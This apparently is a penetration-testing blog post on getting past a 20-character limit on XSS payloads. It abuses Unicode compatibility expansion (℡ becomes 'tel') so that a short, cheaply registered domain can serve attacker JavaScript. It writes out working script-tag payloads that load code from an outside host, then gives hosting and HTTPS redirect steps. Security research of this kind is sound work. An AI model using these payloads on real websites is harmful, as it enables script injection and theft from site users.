Exploiting XSS with 20 characters limitation


Cross-Site Scripting (XSS) is one of the most common vulnerabilities found across a web penetration testing. However, depending on the injection point, a character limitation problem could be found. In this post, unicode compatibility is going to be taken to exploit some XSS vulnerabilities.

Unicode compatibility

In Unicode equivalence some sequences of code points represent essentially the same character. This feature was introduced in the standard to allow compatibility with preexisting standard character sets. Unicode provides two ways of handling that: canonical equivalence and compatibility.

  • Canonical equivalence: Code point sequences are assumed to have the same appearance and meaning when printed or displayed. For example, n + ◌̃ = ñ.

  • Compatible equivalence: Code point sequences are assumed to have possibly distinct appearances, but the same meaning in some contexts. For example character has the equivalent to ff.

20 length limitation problem

Therefore, supose a length limitation of a payload is set, and we confirm the Javascript execution with a 20 character payload like this:


But, this is harmless, because we can only pop an alert, without showing the impact behind a XSS. Loading an external Javascript would be perfect and would give us more flexibility to prepare a more complex attack.

<script src=//aa.es>

Therefore, a payload like this would be perfect, because we can load a remote Javascript file with 20 characters. But almost every domain of this kind is taken or is too expensive.

Taking advantage

Browsers perform unicode compatibility with some characters, let’s see an example. Supose we have this payload:

<script src=//ffff.pw>

Notice that characters is only one character but when browsers interpret it, it will be expanded as ff two characters. This open the door to buy larger domains, in a cheaper way.

  • ff expands to ff
  • ℠ expands to sm
  • ㏛ expands to sr
  • st expands to st
  • ㎭ expands to rad
  • ℡ expands to tel

More of these characters can be found here.

To check in which characters are decomposed check here:

Character decomposition

Then, lets register a domain a telsr.pw for example. It costs only $1.28.

Domain price

Our final payload will look like this:

<script src=//℡㏛.pw>

Observe how the normalization is performed and our registered endpoint is trying to be reached with a payload of 20 characters instead of 23 characters thanks of unicode compatibility.


Next steps

Therefore, a domain is registered and a payload is trying to reach that domain, however it has not executed anything yet.

One thing came into my mind, let’s perform a DNS Redirect, it will work as follows:

  • 1. XSS is triggered and browser tries to load the content of to telsr.pw
  • 2. DNS redirects to xsshunter.com to trigger the XSS execution.
  • 3. Win

But there is a problem, if the connection goes over HTTPS and we trigger a script with src=\\url the protocol will be the same as the website. Then, if we perform a DNS redirect to another site, there will be a certificate mismatch and the Javascript file will not be loaded.


If the comunication goes over HTTP this is not a problem, but it is not the common scenario.

This was solved doing the following:

  • 1. Buy a hosting to that domain, the cheapest one $1.44/mo. In my case was using namecheap.com.
  • 2. Set up a HTTPS certificate, it is free the first year.
  • 3. In your control panel, go to the redirection form and perform a redirection to the place you have the Javascript file. This is not a DNS redirection, is a server redirection, so there will be not certificate mismatch error because the url is presenting a valid certificate generated in step 2.
  • 4. Redirection is performed and execution triggered.